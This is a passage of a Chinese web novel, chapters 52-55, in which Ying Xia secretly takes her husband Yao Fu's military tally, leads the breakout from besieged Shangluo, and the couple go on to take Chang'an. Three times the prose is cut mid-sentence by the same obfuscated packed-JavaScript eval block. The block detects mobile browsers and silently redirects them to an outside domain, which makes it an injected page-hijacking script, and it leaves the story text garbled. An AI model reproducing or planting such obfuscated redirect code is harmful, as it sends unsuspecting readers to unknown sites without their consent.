司空谷伸手从荷包里抓出一把豆子,约莫有三四十颗,噼里啪啦扔在桌上。绿豆落在桌上确实变成了拿着兵器雄赳赳气昂昂的小人。 不过都只有拇指大小,一个个横七扭八地或坐或躺地歪在桌上,有些看样子被摔死了,剩下的站起来就叫嚷着抓着附近的小人厮杀起来。 “唉。”司空谷无奈的把一个小人从自己手指上拔了下来,“我就说帮不到你,他们连我都打。” 姚复看着桌子上不一会儿就全部死光开口漏豆沙的小人,陷入了沉思。 52. 第52章 “你不能让他们变成真人大小、有心智、能听指挥老实打仗吗。”姚复十指交扣,贴在唇上,双肘支着桌子,眼睛仍盯着桌上的豆沙,问司空谷。 说来也怪,拿的都是生豆子,小人们死了流的却是豆沙馅。 司空谷拿了一块绢布,把桌子上的一片狼藉擦干净,顺便捏碎了手里的那一枚豆子人,说道:“爱莫能助。这种事只有我师父能做到。大王找不到她的。” “你师傅是谁?”姚复微微抬眼,好奇地问道。 “须弥芥子。”司空谷把账本再度放回桌子上,面不改色地回答,“如果大王想破局,不如让你那两个侍卫带你和夫人出去,至于城中将士和百姓——大可不必管他们。” 须弥芥子——那个传说中的仙人,确实怎么也找不到,让她来撒豆成兵不切实际。 而关于司空谷提出来的建议——姚复有些不悦,这种行径说好听了是弃车保帅明哲保身,往难听了说就是苟且偷生不仁不义临阵逃脱。不过也勉强算是有价值——到时候实在没办法的话让他们把应瑕送出去好了。 留着这两个人也就是出于这个目的,就是害怕什么时候陷入四面楚歌的境地时应瑕陪着他一块儿受苦。 “我会考虑。”姚复瞳孔微张,好一会儿没说出话来,最终一拍桌子,站起身来离开了,还不忘拎走自己装豆子的荷包,这些豆子可是他费了大工夫从炊事房偷来的,拿着也没用,还得还回去呢。 他一出门就碰上了到处找他的应瑕。 应瑕伸出一只手,向他索要什么东西。 姚复挑挑眉,随后把荷包递到应瑕手上,问道:“你也会撒豆成兵?变一个瞧瞧?” 应瑕眉心狠狠一跳,随后把荷包塞回他手里,说道:“我要虎符。” “你要虎符做什么!”姚复吃了一惊,瞪大眼睛质问,“你怎么能领兵打仗!你一个弱女子,留在军营里,这两天我让天梁和太白想办法把你送走,出去叫援军便是了。” “我记得从前说过,在来到这里之前,我在打仗。”应瑕定定看着姚复,身上掩埋了许久的那股凌厉的威压忽而再次迸发出来,几乎压的姚复喘不过气。 姚复自是不肯应瑕再去打仗的,她先前定然是在战场上丧了命,难不成让他亲手造就惨剧的发生吗? 他攥紧拳头,指甲嵌进掌心的软肉,疼痛让他保持着理智:“我不会把虎符交给你。我们只有一万五千人,打仗和送死有什么区别。” 应瑕上前一步,拍了拍他的肩,说道:“那我也不会跟着天梁他们离开。” 随后她直直进了司空谷的营帐,大约也是让他控博起卦,见天下吉凶。 两人不可避免地又冷战起来。 太白蹲在营帐细细的木头骨架上,主帐交错的结构能很好隐藏她的行迹,也能让她洞观地面上的形势。入了夜她终于忍不住压低声音问附近梁上的天梁:“天梁,你说他们怎么又吵架?我看夫人也是骨骼清奇,是个行走江湖的好苗子啊。” 天梁无奈地摇摇头,随后说道:“你忘了,现在我在江湖上的名号是决明子。” 太白舔舔嘴唇,正欲再说,忽而感到脚下一阵晃动,连忙晃身一跃而下,轻盈落地未发出哪怕一丝声音,猫儿一样。天梁见状也连忙下了来。二人还没站稳脚跟,就感到有人从背后逼近,下意识拔剑应敌,却见是抱胸冷眼看着他们的姚复。 “啊呀,大王这夜半时分,不睡觉做什么?”太白脸上浮现出牵强的笑靥来,连忙把出鞘一半的刀剑收了回去。 姚复特意等到了丑时,两人忍不住开始说话才蹑手蹑脚下来去晃了营帐的骨架,就为了逮到这两个人——姚复只知道最近这两人白天神神秘秘地不见踪影,只有半夜会守着营帐。 “你们两个,最近行事奇怪的很。”姚复扫了她一眼,不带感情地说。 太白讪讪一笑:“江湖上的事,江湖上的事。大王找我们什么事?” 听说江湖上会有人下追杀令什么的,想必没人敢杀君主身边的人,那就只能是这两人接了什么单子,白日里要赶工。姚复不再追问,只无意地问:“你们在江湖上……有多少认识的人?” 太白垮了脸,转头询问天梁的意见,见后者点了点头,才放心说:“我们地位虽说比不上太阴,好歹也有一席之地——不知大王想做什么?” “找几个人,想办法把夫人送走。”姚复微微一顿,“一个人可能不够。她太厉害了,力气又大,长的也漂亮……” “哎呀。”太白有些不耐烦了,“知道了知道了,你们这些人闲的没事干吗,都什么时候了还想着情情爱爱的。” 姚复颇为鄙夷地看了太白一眼:“是是是,你心怀大义从来不滥杀无辜,也没接过那什么追杀令。” 说到这里,太白有些尴尬,话也不说了。她确实没想过什么情情爱爱的,但是她在接追杀令——雇主要她和天梁杀掉自己的老丈人一家。 “我们接的追杀令都是经过太□□查的,大王。”天梁上前一步解释,随后伸手要钱:“请人来救人要钱,从这种情况下出去要更多钱。” 姚复有些痛心地从袖子里摸出来一颗南珠——自从他假死之后韩玉笙再没单独给他送过珠子,只剩这一颗还是从那场鸿门宴回来之前揣在怀里的,他连屈郢都舍不得给,不过要用来救应瑕,是物超所值了。 应瑕像是服软了,接下来的几天里没再跟他提过虎符的事,只是也不愿跟他讲话。到了第五日晚上,她主动来了几乎什么也没有的主帐,怀里抱着那颗从神祇处强拿来的宝珠。那珠子在她怀里发着柔柔的金红光芒。 “来,你抱着它。”应瑕跪坐在地上,把珠子递给同样跪坐在地上的姚复怀里。 姚复小心翼翼地接过它,那抹红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592873|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光渐渐褪色,变成了白光。姚复抬眸看向应瑕,微微笑着问道:“这珠子还会识人啊?” “嗯。”应瑕也笑了笑。 她前前后后与姚复做夫妻的时间都要赶上现在的年龄了,怎么可能猜不出来姚复会把虎符放哪。今夜过来就是准备寻了空子把它偷偷拿走,这珠子不过是个引子,好引开姚复的注意。 “我发现这珠子有些不同之处。”应瑕含着笑,又说,“你仔细看它。” 姚复把眼睛贴近珠子,柔和的白光似乎是由内自外发出的,从外看里面有些晃眼,却隐约能看见珠子中间包裹着什么东西,他把脸凑近,轻轻转动那珠子,反复观察描摹那珠子中心之物的形状,丝毫不觉应瑕已经站起来走向了床榻。 “哎哟。”姚复把脸挪开,惊喜地说,“像是一条龙呢。” 抬眼时眼中多了不少阴影,极其影响观瞻,他只好把珠子暂且放下,一边揉着眼睛一边说:“这算是个吉兆吧。这东西果真是个宝物,干脆做传家宝好了。” “传家宝?那怎么行。”应瑕把虎符收进袖子,坐回原地,“这是要流传千秋万代的,哪怕以后家族子孙断绝,也要在青史上与姚家之名一同出现。” 姚复待到眼神恢复地差不多了,便松了手,瞪着眼睛等眼中的干涩感自己消失,口中则说:“要不给它取个名字?” 应瑕叹了口气,伸手在珠子上碰了一下,旋即又撤开,它刚发出一阵金红的光,便又立即熄灭了。应瑕把双手交叠搭在大腿上,半垂着目光,说道:“我查了典籍,此物叫做‘骊龙珠’,能以光华区分人的地位。除此还有异能,不过并未明确记载。” 姚复再次拿起珠子端详起来,忽然说道:“我方才听见榻上窸窸窣窣的,难不成此处也有老鼠?” 说着他还揉了揉胳膊上的鸡皮疙瘩,生怕老鼠再咬毁了帐里的东西。 应瑕微微皱了眉:“你要不介意,我可以帮忙除掉老鼠。” 姚复听闻此言下意识拒绝了,他第一反应竟然是应瑕也吃老鼠——这也未免太那什么了,虽然他尊重应瑕的一切喜好以及食谱,但是这也太匪夷所思,比吃人还匪夷所思。 “我不吃老鼠,那太恶心了。”应瑕有些无语地耷拉着眼皮,解释道,“还有,你让天梁他们偷偷找人送我出去的事我也知道了,这种情况下出再高价钱也不会有人过来。” 太白那个碎嘴子!怎么什么都说! 姚复痛心疾首地一拍大腿,随后说:“什么找人!咱们生同衾死同穴,要死也得一块儿!” 应瑕斜着眼扫着他,显然不相信。姚复早就做好了自己死在上洛、应瑕出去就再嫁的准备,这已经是他能接受的最好的结局了。 “珠子你拿着吧,我先走了。”应瑕沉默了一会儿,随后起身离开了。 拿骊龙珠这种华而不实的东西换虎符,显然是值当的。 53. 第53章 第六日,粮草已经将近枯竭了,兵士们几乎都对弹尽粮绝之后、援军到来之前的日子心怀忐忑,许多人都是愁眉苦脸的。 可天梁他们还没回来,在看到应瑕离开之前,他不敢带着人拼死一搏去找那虚无缥缈的一条生路。 应瑕忽然把头发剪短了一些,学着男子的样子,将头发束在头顶。姚复不知她是何用意,男子的发式虽然比女子的清爽一些,到底不如散发来的方便——应瑕平日里要么是散发,要么就是扎个灵动的马尾,哪一样都要比束发舒服。 束了头发,她也不窝在帐里看兵书了,竟顶着太阳去看练兵了,在场地前一晃就是一整天,她的脸本来就极具标识性,这一天下来,全城的士兵几乎把她牢牢印在了心里。 “你这样再配个银鞍白马,活脱脱的少年将军。”姚复坐在树荫下,朝着应瑕笑了笑,“话本子里走出来的一样。” 应瑕束发的手法显然不太娴熟,半天下来已经乱了,她也发觉到了这个问题,拆开发髻重新束了一遍,一边束发一边回答姚复:“哪里来的银鞍白马,明天之后活着都是问题。只等明日走一走那条死路了。” 姚复坐直身子,手腕搭在膝盖上,终究没有再提起送她出城的事,只思忖一会儿后抬起头来,笑说:“你又不愿意离开,死路也得走成活路啊。我死了也不会让你死的——” “你死了我就只能找人接盘了。”应瑕一本正经地说,“你一死,我就找人花大价钱把你挖出来埋好,再找个比你年轻漂亮的,天天上你坟头找你不痛快。” 姚复抿唇不语。 忽而有什么东西贴着他的头皮飞了过去,“砰”的一下砸在树干上,树叶哗啦啦响了一阵,未落尽的残花也簌簌洒下来,姚复转头去看树干——上头赫然嵌着一只精巧的飞镖,他站起身来,看向那小玩意飞过来的方向——太白正蹲在不远处的树枝上朝他招手。 姚复蹙起眉头,没急着过去。 练兵场上再度响起演习开始的口号声,应瑕朝着姚复挥挥手,转过身去,又去看那些年轻士兵演武去了。 姚复看着她走远,才走到那棵树底下,问道:“人找到了没?” “找到了!咱们这个局势大家都知道,我们找了几天才有一个缺钱的敢接。”太白从树上跳下来,拍拍身上的树叶,“决明子今晚就带着他来找你。” “你们还留着这个名字呢?”姚复不自觉地勾唇笑了笑,“你们不是只听小姐的话?” 太白深沉地摆摆手:“害,行走江湖总得有个正经名字。你以后可别叫我太白了,这是老爷给起的名字,除了敌人,只有小姐能叫。哎哟当时可给头儿羡慕坏了,现在我们每人都有个花名了,下次见到我们头儿记得喊‘天仙子’。” 姚复眉头一跳,竟不知如何评价这群死士了,这事也不知道李小姐知道不。 “我任务还没完成呢,先走了。你记得留个门就是。”太白抬眼看了看日头,又不知用了什么轻功,飘飘忽忽地不见了。 第七日姚复下定了决心要拼死一搏,前一天晚上只留了个门便自行睡下了,左右入了夏,晚上也不算冷。 到了约莫子时,弦月西坠,一阵冷风穿堂而过,姚复猝然惊醒,穿着里衣下了床,走到门口看了一圈——除了将要下山的弦月,什么也没有。 “还没来啊。”姚复打了个哈欠,准备回去继续睡。 人刚坐回榻上,窗外便响起拨弄琴弦的声音,一开始只是极细微的拨了两下,似是试音,很快便停了下来。紧接着急促的琵琶声响了起来——姚复重重叹了一口气,认命般地躺在床上闭上了眼,忽而想到了将士们和应瑕都还在睡觉—— 于是他一个鲤鱼打挺坐了起来,连忙跑出门来,有些愠怒地压低声音朝着自己的营帐喊道:“九里香!九里香!你给我下来!别再弹了!都在睡觉呢!” 营帐后面几丈高的树顶上,琵琶声停顿了一下,被特意请过来的右弼星一袭墨绿衣衫,她抱着琵琶,询问似的看了太白星一眼。太白则是一袭黑衣,回给她一个安心的眼神,示意她继续弹,接着狠狠一踢脚下的树枝,把天梁找来那金杯伴月的少年踹了下去—— 姚复只见散入春风的琵琶声里,一白衣公子以极为危险的姿势直直从树上摔了下来,落地之前竟是以迅雷不及掩耳之势抽出长剑撑住了地面,借力一个漂亮的转身稳稳落地,甚至顺手接住了那只从半空中落下来的葫芦。 他脸上露出迷惑的神情,举起葫芦对着树上的右弼星晃了晃。 这葫芦是右弼星的药葫芦。 这动作落在姚复眼里就不同了——似是酣饮过后意犹未尽地轻摇佳酿。 他忍不住鼓了鼓掌,脸上挂上了牵强的笑,口中啧啧称奇:“好,好啊。身手真是不错,不过你是来演百戏的?” 太白拉着抱着琵琶的右弼从树枝上跳下来,甩开玄色的外袍,勾着那青年的肩膀,笑着说:“大王,这是李尘生。决明子忙活了几天,也没见哪个大能愿意接这活。他一个初出茅庐的小子愿意干,有胆识。” 那青年把马尾从太白胳膊下解放出来,施施然行礼,神态谦恭温和,清俊秀雅,毫无失礼之处:“久仰齐王大名,在下李尘生,字玉墀。” 姚复上下看了他两眼,见李尘生身上一股子不染尘埃的清冷气质,一双凤眼也半睁不睁,携着三分慵懒与清贵,心中便不怎么爽利,只微微蹙起眉头,回目问不知道从哪冒出来的决明子:“你怎么找了个这样的,长这么好看把夫人勾走了怎么办。” 决明子负气,偏偏连星七十二死士数他嘴拙,半天说不出一句话,最后只好闷闷说了一句:“能找到就不错了。” “哎呀,大王你别看人家长的比你年轻漂亮就吃醋啊。”太白转而上前搭住决明子的脖子,帮着他堵姚复,“夫人见着比自己年轻漂亮的也没你这样吧。您就是不够大度!小肚鸡肠,小家子气!” 姚复闻言看向太白,仔细端详了一下她的五官,皮肤白皙,但不曾像应瑕一样精细保养;杏眼灵动活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599737|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泼,却不及应瑕华贵;唇瓣丰盈饱满,完全不如应瑕内敛端庄。 他又想起天仙子,此人虽然五官能和应瑕平分秋色,但笑容跟焊在脸上一样,怎么都让人不舒服,完全不能和应瑕相提并论。 还有解斛珠和李小姐,一个常年行军打仗,一个跟着行军打仗,皮肤不及应瑕白皙,韩玉筝则过于沉闷,不及应瑕灵动。 至于应琼,气质完全比不上她姐姐。 还有涂山妏和亓官卿这两人,狐狸眼妖妖媚媚的,应瑕可比他们持重多了。 把认识的女子几乎都罗列了个遍,姚复得出来一个自认为中肯又至关正确的结论:“天底下哪个女子能比珠英漂亮?” 九里香瞪大了眼,几乎是瞠目结舌,她一向牙尖嘴利,这还是生平头一遭跟决明子感同身受。 她不死心地指向旁边的右弼星:“你看我们右弼星,相思子,长的漂亮不说,还会弹琴鼓瑟,也知书达礼,还温柔小意——” 右弼星是他们七十二人中相貌最为出众的,身段也是一等一的,连太阴都比不上这位舞女出身的姑娘。她就不信姚复能挑出来什么毛病。 姚复眯着眼看向九里香指着的方向,相思子抱着琵琶,半张脸蒙着面纱,却是眼波流转,顾盼生情,定然是个出众的美人。可惜还是比不上应瑕。姚复挑儿媳一样目光严苛地将相思子上下看了两眼,终于挑出了她的毛病:“她长的不够高啊。” “九里香我警告你,少挑拨我和夫人的关系,当心我回头给你家小姐降罪。不过话说到这儿了,明天你就和她负责押着夫人离开吧。”姚复回过头来,开始安排次日的事宜,“决明子和这位李公子,就在旁边护着夫人好了。” 相思子听到还有自己的活,一双圆溜溜的眼睛不可思议地瞪向太白:“九里香,你不是说我只要今夜来弹曲子就好?” 九里香欲哭无泪地撇撇嘴。 按理说趁着夜色把应瑕送走才是最为稳妥,可今日应瑕也不知抽了什么风,放着好好的营帐不睡,竟跑去了伤兵营。 有些受伤的士兵,譬如在上次战争中断了骨头的,夜里总会痛的睡不着,要是现在去把应瑕劫走,定然会引起兵士们注意。 到时候姚复无论如何也说不清楚把应瑕偷偷送出去的事,自己的名声坏了不要紧——本来就没什么好名声。怕就怕军心不振,好多人都是哥哥弟弟一起来参军的,他把应瑕送走不到半天就能传的满城皆知。 而应瑕又是个不肯善罢甘休的性子,她这两日只字不提兵符的事,明天就要出兵,她定然会再来询问。 不如趁着出兵之前的间隙,把她直接给打晕了送走。她虽然是个普天之下独一无二的奇女子,可不论前世今生,总归只是个普通人,怎么也不可能会飞天遁地,四个人应当是够制住她了。 “好了,你们先找地方睡吧,明日在暗处看着,出兵之前把夫人打晕带走就行。”姚复摸着下巴,想出一个对策,“以兵符为证,一亮兵符,立刻把她打晕就好。” 54. 第54章 第七日,弹尽粮绝。 午饭吃完后就什么也没有了,姚复集结了来时的一万五千将士,城中自告奋勇参军的又有五千人,加起来总共两万人,齐刷刷列在营门处,只等统帅发号施令,拼死出城去,为全城百姓谋一条生路。 西边的禁军水平不高,如果策略得当还是有可能杀出一条血路来的。 因此姚复带着人守在西门前,正待出门。 忽而一阵轻扬的蹄声传来,姚复心知是应瑕来了,手指按向腰间的兵符,面上却是显得惊惶地转过头去。 应瑕不知从哪找了一身戎装,骑了一匹白马,若是忽略掉现下处于危急存亡之秋的局势,可真是银鞍白马度春风了。 “你来做什么?”姚复回马,讶异地看向应瑕。 应瑕驱马向前一步,只说:“你可以走了,我来带兵。” 姚复感觉有些好笑,正要解下兵符示意决明子他们把她打晕带走,却见应瑕高高举起了一样东西——它在阳光下闪着温和的光,正是兵符。姚复瞳孔微微放大,连忙解下腰间的那块玉——花纹繁复,却并非兵符,不过是一块普通的玉。 应瑕不知在什么时候把兵符换走了。 他正要出言说话,应瑕却抢在他前面开口:“愣什么,带他走!” 原本还犹豫不决的四个人这下定了心,姚复感到有人拉着自己的胳膊,令身体从马匹上腾空而起。速度之快根本不及反应,应瑕又信手掷出了那骊龙珠,被旁边的李尘生稳稳接住,珠子发出莹润的蓝光来。 姚复身体在空中,挣扎又挣扎不动,只能无助地嘶喊:“喂!你们放我下来啊!珠英,珠英!” 兵符不在他手里,这四个人根本不听他讲话,应瑕拾起方才落在地上的兜鍪,朝着他笑了笑,说:“我会为全城百姓开出一条生路来的,你不必担心。” 那四个人裹着他落在旁边一棵树上,又借力往旁边走,姚复感觉自己像一只在天上上蹿下跳的翻壳乌龟,事到如今也没什么能说的了,只好竭力留下嘱托:“你要活着啊!活着啊!你死了我怎么办啊!” 应瑕挥了挥手,戴上兜鍪,指挥着军士。决明子拽着他越走越远,声音也越来越小。敌军见城中迟迟无人出来,早就放松了警惕,正等着姚复在城里饿死、上洛不攻自破呢,因而并没有列阵严整的守军,只能遥遥看见练兵的禁军。 这四个人堂而皇之从营地中穿行而过,偶然有统领觉察异常,抬眼却只见簌簌的叶响。 “你们要带我上哪儿去?”姚复在空中偏头问太白,“我可告诉你们,别离的太远——我要看见战况,你们给我看着,一旦出现什么情况,马上把夫人给我弄出来!” 决明子抓着姚复落在禁军营地里一棵巨树上,李尘生、九里香和相思子三人则站在主帐顶上——禁军的主帐不像姚复那个,比别的兵士的高大许多,站在顶上谁也看不见。 李尘生把骊龙珠信手抛向姚复,随后放松地坐在帐顶上,不轻不重地喟叹了一句:“真麻烦。” 恰恰飘进决明子耳中。 “哎呀你不是缺钱吗,他给的多啊。”太白干脆蹲了下去,拍拍李尘生的肩膀,“回头再敲他一笔算了,你好歹也中过举人,这都想不明白啊?” 决明子不动声色地看了姚复一眼,后者蹲在树上,扶着树干看远处的东西。决明子遥遥看去——不远处一片乌压压的军队,正在往这边急袭。 这个营地连山漫野,三十万人齐聚一堂,应瑕带着人打过来几乎是自不量力。 姚复有些着急地站起来,脚下一滑险些摔了下去,便一手又抓紧了树皮,转头问决明子:“咱们能放火烧了这营地吗?都到这儿了能不干点什么?” 决明子摇摇头,帐顶上的太白解释道:“咱们江湖上有规矩的,不能插手官场上的事——咱们帮你都是仁至义尽了,可别指望我们替你干掉这三十万人啊。” 姚复心里堵的发慌,他又不好下去——太高了下不去不说,就算下去了,也得被巡查的士兵捅成蜂窝。 很快两边兵士便拼杀在了一起,姚复抱着那骊龙珠问决明子:“他们打在一起了,咱们过去看总行吧?” 太白看着他笑了一下。决明子拉着他的胳膊,飞到了另一棵树上,李尘生则稳稳落在禁军高高的旗杆顶部,他们见到了此人,都分了神去看,又不敢盲目射箭——射穿旗帜是大罪。 姚复在树上看着应瑕拿着枪跟敌人厮杀,心里越发慌乱,眼见着背后暗剑突袭,虽说有惊无险地被她躲了过去,姚复到底坐不住了,狠狠拉了一把决明子:“快放我下去!放我下去!” 光是命令决明子不够,他还看着脚下,跃跃欲试,准备找个好的落脚点往下跳。决明子见似乎拗不过他,只好拉着他落在战场上,自己又被迫接过抛来的骊龙珠,迅速飞回了树上。 姚复一下来便抽出剑与敌人厮杀在一起,一边举剑开路一边往应瑕旁边凑:“双福!这太危险了!你快回去啊!” 应瑕不可思议地扭头去看,耳畔忽然传来箭声,连忙侧身躲过,旋即怒斥姚复:“你不是走了?!怎么又在这儿!” “他们只把我带到这个营地了!”姚复一边持剑格挡着袭来的刀枪剑戟,一边抽空回应。 应瑕咬牙切齿地把一个扑上来的敌人捅了个对穿,接着抬头命令李尘生:“你!把他带走啊!净在这儿添乱!” 姚复挥剑杀掉过来的敌人,很是倔强地对李尘生说:“我不走!你给我呆在那儿!等着带夫人走!” 李尘生站直身子又蹲下来,无奈撑着脸叹气。 “不走?!”应瑕委身躲过飞来的箭,猛然提起缰绳,将一人踩在马蹄下,“不走我回头就砍了韩玉笙!诛他九族!” “这跟我什么关系——喂!!”姚复纳闷地回答,紧接着就被飞下来的决明子拎走了,李尘生连忙从旗杆上下来,一把拽起了应瑕。 骊龙珠被强塞回姚复手里,长剑从半空坠落,又被李尘生一把握住,应瑕被拎起来的瞬间就张口开始骂人,似乎是某种古语,姚复一点也听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612019|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不懂。 决明子抓着姚复占据了那已经开始东倒西歪的旗杆,一支冷箭贴着姚复的脸飞过去,伤口登时渗了血,姚复随便抹了一把,思索要不要把这碍手碍脚的珠子丢掉。 血花从姚复手指上蹭到骊龙珠上,又丝丝缕缕渗入了那团柔和的白光。 紧接着天上一阵强光,两方军士都停了手,李尘生下意识松开手,应瑕就势落地又翻身回马,勒着马缰往后退了一些,眯着眼睛去观察那光。 那强光很快褪去——是一块府宅大小的石头,离地面丈高时又分成了马车大小的几十块陨铁。 天降异象,陨铁在所有人眼中都不断放大,九里香和相思子当机立断,见着这玩意儿似乎是冲着自己来的,用生平最大的速度飞进了战场,在地上滚了两圈后马上飞身往上洛城跑去。 李尘生恍然回神,再次抓起还在愣神的应瑕,猛然往后撤去。决明子也连忙拉着姚复往回跑去。 见着那些陨铁,禁军也顾不得其他,纷纷惊叫着往营地跑去——正中陨铁下怀。 三十万禁军,几乎被陨铁打的全军覆灭,还引起了冲天的山火。 姚复和应瑕回来后仍然心有余悸,精神恍惚了好半天,最终又抱在一块儿庆幸劫后余生。 很快有人扑灭了山火,司空谷跟着统计出了死伤人数。 “二位——”司空谷猛然推开门,应瑕和姚复正坐在案前索然无味地吃着晚膳。 相思子和李尘生早就走了,九里香和决明子则又去完成自己接的追杀令了。 两人齐齐抬头,眼里还带着陨铁余威带来的震惊,一同麻木地看着司空谷。 司空谷心跳一顿,觉得这两人多少有些不似活人了。随后很快恢复了心情,说道:“我说一个骇人听闻的消息。” 见两人没什么反应,司空谷只好自顾自继续说:“陨铁几乎砸平了敌军扎营的山头,其中十万被山火烧死的,八万被陨铁砸死的,剩下十二万都是被夫人带兵杀掉的。可见夫人有领兵之才啊。” 姚复咽下一口口水,扶着应瑕的手背,声线有些兴奋的颤抖:“……兵符呢?” 应瑕把兵符从袖子里取出来,姚复接过那块玉,旋即手指稍微用力,把兵符分成两半,其中一半又塞给了应瑕:“双福,从今我与你平分军权。我明白了,夫妻本为一体,不需要内外分工。往后……不论是军权还是皇权,都该有你的一部分。” 他眼中灼灼闪着火光——应瑕猛然心弦一动,手指摩挲着那半块兵符上的半轮日月,忽而笑着说道:“……好。不过敢问大王,长安能交给我吗?” “当然。”姚复不假思索地说道,随后不知想了什么,又说:“不过得等援军过来。我得带人在后面跟着。” 应瑕敛目一笑,将半块兵符收回了袖子里。 这个时候乘胜追击是最好的,长安没有守军,上洛的粮草也多少有了补给——韩玉笙派人从巴州翻山越岭往里送来了。 只是上洛与雒邑之间的函口仍被堵着罢了。 55. 第55章 上洛与雒邑之间的函口易守难攻,几乎是一夫当关万夫莫开,只有从内攻破的道理,从外关外几乎无从下手。 解臻在外面无能为力,只好给姚复递了函书,称韩玉笙从巴州派了军队进去支援了。 在军队赶到前一天,应瑕便领着剩下的五千人,夜袭长安去了—— 她手里拿着兵符,完全没有报备就领着所有士兵走了。 姚复得知消息时她带着那五千人已经攻下了长安城,派人把皇宫里里外外堵了个彻底。 “咱们这儿还有多少马匹?” 司空谷看着撑在自己桌子上的手,无奈放下手中的书,揉了揉眉心,又从手边那一摞高高的账本中抽出来一本,随意翻了两下,随后抬头说道:“只剩下几十匹病马伤马没随军出征。” “你给我批一匹伤势最轻的,我马上要去长安。”姚复撤回手,站起身子,甩袖离开了,还顺便摔了门。 司空谷重重扶额。 长安城确实是个走马观花的好地方,葳蕤的牡丹似乎从未受到战争的影响。 伤马走的并不快,姚复干脆放缓了速度,沿着官道缓缓往皇宫走去。 三分斜阳,无端为皇宫添上了两分凄怆。 应瑕远远站在这巍峨的建筑门口,牵着一匹马正迎着姚复过来——长安城规划的严严整整,纵横交错,全是平直的,从无一条弯路,前面的景色总是一览无余的。 姚复干脆下了马,快步上前问应瑕:“你怎么不报备一下就自己过来?援军今日就到上洛了,急什么。” “啊。”应瑕微微失神,随后从怀里拎出一只狐狸:“我在辎重车里发现了她,想必靠着吃老鼠撑了好些天——她催着我出兵到长安去。你说你,急什么!” 应瑕一边说,一边拧着狐狸耳朵转了两圈,疼的涂山妏嘤嘤只叫,随后她叹了一口气,松开了手,说道:“长安城的牡丹花是一绝,我怕晚了就看不到了。” “那你好歹说一声——我听说长安城内留了两万守军呢。”姚复抿唇一笑,从应瑕手里接过缰绳,推她上了马,“虽然不是登科及第,‘春风得意马蹄疾’也是足够了。我们去看看长安的牡丹,如果有时间回了雒邑,也好比上一比。” 应瑕把狐狸放在马背上,把马尾拆开,咬着头绳,又重新绑好,才把涂山妏抱起来,对姚复说道:“走吧,去看看长安的牡丹。” 入主关中,再想办法逼迫皇帝禅位,称帝就是名正言顺的事了。 早该打秦州的。 牡丹开的正秾艳,在月光下惹人沉醉。 两人昏昏沉沉走了一夜,到了天光微亮才去定了客栈补觉,不过刚到了午时,姚复便被老板娘叫醒了—— “这位白公子——外面有人找你——”老板娘使劲敲着门,来的是两个斥候,尚还穿着军装,她从前也听过东边有个白将军,这位公子又只留下自己姓白一个消息——姚复开房时谎称自己姓白。 老板娘生怕是什么急事,连忙上楼去喊这位将军。 她生在天子脚下,从小没见过干戈,可不想让自己的客栈遭了战火吞噬。 姚复揉揉酸涩的眼睛,踢拉着鞋,打着哈欠开门应付:“来了来了……谁找我啊。这什么时辰了?” “看着是两个兵丁呢,公子要不下去看看吧。”老板娘揣着手帕,有些惴惴不安地看着姚复,随后犹豫地询问了一句,“公子,长安还会打仗吗?” 姚复对着老板娘摆摆手便下楼了:“不会不会,你且安心。” 楼下规规矩矩站着两个斥候,两人对视了一眼,其中一个上前说道:“大王,皇宫昨夜失火,其中宫女太监烧死的不计其数,皇宫也烧了干净,皇帝也……。” “行,就说他自焚而亡。把这事传开。”姚复微微颔首,看向另一人,问道:“你又什么事?” 那人连忙抱拳说道:“平阳传来消息,魏王暴毙二十一日了,今日他的次子即王位,撤回了把守关口的军队。” “呵。”姚复冷不丁笑了一下,“死了啊……也算恶人有恶报。他怎么死的?” 斥候咽了口口水,额头渗出一些冷汗——他初次听到魏王的死因时,想象那个画面,几乎吓得他夜不能寐,如今再回想起来,心中还是忍不住惊悸,但姚复问起来,他也只好佯装镇定地说道:“听说是……万蚁噬心,把他整个胸膛都啃食殆尽了。外头都说是暴毙,这些消息也只是……臣下道听途说。” 姚复若有所思,说道:“算了。那那个魏讯呢?他也算个人才,没登上王位,去投奔屈郢了?” “魏公子到了雒邑,说愿为入幕之宾,小解将军正设宴招待他呢,您要回去吗?” 姚复摇摇头:“不了,既然关口通了,便让解将军派人驻守。再去叫人发请帖,把人都叫到长安来,择日便称帝。” 斥候应了一声便匆匆退下了,姚复转身打了个哈欠,又上楼补觉去了。 有了这个皇帝的名头,朝廷先前占据的秦州、甘州和晋州西部,都能名正言顺地归附了。天水那边的匈奴虽然攻势猛烈,姚复的军队攻城也不是很擅长,但守城还是很有一手的,牵制匈奴不是问题——如果能让这些杀人不眨眼的蛮子为我所用便好了。 